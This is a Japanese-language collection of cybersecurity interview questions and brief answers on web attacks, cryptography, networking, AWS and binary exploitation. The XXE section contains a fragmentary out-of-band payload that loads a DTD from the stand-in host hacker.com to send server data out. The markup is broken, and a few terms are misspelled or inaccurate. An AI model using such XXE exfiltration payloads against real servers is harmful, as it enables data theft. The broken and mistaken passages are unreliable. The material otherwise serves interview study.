
これまでに経験したサイバーセキュリティ面接の質問のまとめです。参考になれば幸いです。
このページは私が経験してきた面接のまとめです。かなり幅広い役割をカバーし、何度も不採用になりましたが、それぞれの面接から学び、建設的なフィードバックを集めて前進してきました。 これらの質問/ヒントが皆さんのお役に立てば幸いです。
一般的にカバーする役割は以下の通りです:
クイックヒント:
以下に、私が遭遇したありとあらゆる質問を書き留め、いくつかには回答を記載しました。残りは、特定の回答をググっていただければと思いますし、深く掘り下げたい場合も同様です。その他に、最後に参考文献がいくつかあるので、ぜひご覧ください。それらは本当に役に立ちました。
今後、ノートを見直しながらさらに質問を追加していきたいと思っていますが、[email protected] までご連絡いただき、これについて建設的なフィードバックをいただければ幸いです。ここでカバーされていない何かに出会った場合は、遠慮なく共有してください。
CIAとは?
AAAとは?
OWASP Top 10
XSS(クロスサイトスクリプティング)とは
CSRFとは
これは、どの面接官も喜んで聞く一番おいしい質問です
クイックヒント: 簡潔に。聞かれた場合にのみ、全体のストーリーを説明する
クロスサイトリクエストフォージェリ(CSRF)は、現在認証されているWebアプリケーション上で、エンドユーザーに意図しないアクションの実行を強制する攻撃です。CSRF攻撃は特に**状態を変更するリクエスト(データの窃取ではない)**を標的とします。攻撃者は偽造されたリクエストへのレスポンスを確認する手段がないためです。ソーシャルエンジニアリング(メールやチャットでリンクを送信するなど)を少し利用することで、攻撃者はWebアプリケーションのユーザーを騙して、攻撃者が選択したアクションを実行させることができます。被害者が一般ユーザーの場合、CSRF攻撃が成功すると、送金やメールアドレスの変更など、状態を変更するリクエストの実行をユーザーに強制することができます。被害者が管理者アカウントの場合、CSRFはWebアプリケーション全体を危険にさらす可能性があります。
CSRFへの対策:
アンチCSRFトークンを使用する
同一オリジンポリシーを使用する
Referrerヘッダーの使用
HTML/URLエンコーディングとは
HTTPプロトコルはステートレスですか?
HTTPは本質的にステートレスなプロトコルですが、サーバーはCookieを使用してステートフルにしています
インジェクションの種類: SQL、コマンド、OS
SQLインジェクションへの対策
パラメータ化クエリとストアドプロシージャを使用する
&xxe;
状況によっては、攻撃者はXXE脆弱性を悪用してサーバーサイドリクエストフォージェリ(SSRF)攻撃を実行することで、XXE攻撃をエスカレートさせ、基盤となるサーバーやその他のバックエンドインフラストラクチャを危険にさらすことができます。
- 帯域外(Out-Of-Band) - XMLエンティティを使用すると、サーバーからデータを取得してhacker.comに送信できます(サーバーからの出力は不要)
注入対象: document.xml
%remote; %intern; %xxe;
]> &xxe; - you can change xxe entity to general entity
外部ホスト: http://hacker.com/evil.dtd
--- OR ---
参照: [https://phonexicum.github.io/infosec/xxe.html]
- SSRF(サーバーサイドリクエストフォージェリ)攻撃とは
内部ネットワークへのピボットに使用される可能性があります
- 3層Webアーキテクチャを保護する方法
- Kerberosとは
https://www.varonis.com/blog/kerberos-authentication-explained/
- シークレット管理とVaultとは
https://www.hashicorp.com/resources/introduction-vault-whiteboard-armon-dadgar
## ネットワークセキュリティ
- 対称暗号と非対称暗号の違い
- 公開鍵暗号と非対称鍵暗号の違い: 両者は同じ *引っかけ問題*
- 暗号化モード(例: EBC、CBCなど)
- 完全前方秘匿性(Perfect Forward Secrecy)とは
[https://scotthelme.co.uk/perfect-forward-secrecy/]
簡単に言うと、PFSの主な役割は、サーバーの秘密鍵が漏えいした場合でも、攻撃者が過去のTLS通信を復号できないようにすることです。完全前方秘匿性は、エフェメラルDiffie-Hellman鍵交換を使用することで可能になります。これはセッションごとに新しい鍵を提供し、セッションがアクティブな間だけ有効です。
- 暗号スイートの理解:
例: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
- データ圧縮と暗号化のどちらが先に行われるか
圧縮が先に行われます。データ内のランダム性のエントロピー(散らばり)が低いほど、より高い圧縮が達成できるため、最初に圧縮してから暗号化するのが有利です。
- 暗号化、エンコーディング、ハッシュ化、難読化の違い
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
- レインボーテーブルとは: *簡単に言うと、事前計算されたハッシュのコレクションです*
- TLSはどのように機能するのか?
*これは私が偶然見つけた素晴らしい画像で、TLSを初心者向けの言葉で理解するのに役立ちました*
http://i.imgur.com/5T2fJsG.png
- 証明書署名とは
- Tracerouteはどのように機能するか
- Nmapはどのように機能するか
- 認証局(CA)とは
- DMZとは何か、それに含まれるコンポーネントは何か
- pingはどのポートで動作するのか?
*引っかけ問題*であることは間違いありませんが、重要な質問です。
ヒント: ICMPはレイヤー3プロトコルです(ポート上では動作しません)。この質問の良いバリエーションとして、pingがTCPとUDPのどちらを使用するかを尋ねるものがあります。どちらかの回答も、それらはレイヤー4プロトコルであるため、不合格です。
## クラウドセキュリティ
一般的にはAWSについて説明しますが、Azure、GCP、Digital Oceanなど他のクラウドプロバイダーもあります。
- AWSの一般的なコンポーネント:
S3、EC2、バケット、IAM、Cloud trial、Cloud watch
- IAMとは何か、そのコンポーネント: 簡単に言うと、IAMはアクセス管理に使用され、その機能のためにロール(一時アクセス用)、ポリシー、グループ、ユーザーを使用します
- EC2とは: 仮想マシンを立ち上げるためのElasticインスタンスです
- EC2には暗号化がありますか: はい、あります。Amazon EBS暗号化は、独自のキー管理インフラストラクチャを構築、維持、保護する必要なく、EBSボリュームにシンプルな暗号化ソリューションを提供します。Amazon EBS暗号化は、暗号化されたボリュームとそこから作成されたスナップショットを作成する際に、AWS Key Management Service(AWS KMS)のカスタマーマスターキー(CMK)を使用します。
詳細は以下で確認できます ...
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html
## バイナリエクスプロイト
- バイナリのデバッグに使用できるツール:
Linux: gdb、radare、clutter(radareのGUI)
Windows: IDA、Binary Ninja
- バッファオーバーフローとは
- フォーマット文字列の脆弱性とは
- スタック領域とヒープ領域の違い(コード、テキスト、BSS領域についても調べてみるとよいでしょう)
- スタッククッキーとは
- ASLRとは何か、なぜ使用されるのか?
- 実行不可メモリとは?
## 参考文献
学習リソース:
https://regexone.com/ (正規表現は必須です!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
情報セキュリティ面接の質問:
https://danielmiessler.com/study/infosec_interview_questions
トップペンテストの質問:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
Pythonのヒント:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
AWSユーザーガイド:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
SMBとSambaの洞察:
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/